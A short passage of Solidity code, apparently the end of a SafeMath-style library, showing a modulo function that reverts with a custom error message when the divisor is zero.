     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}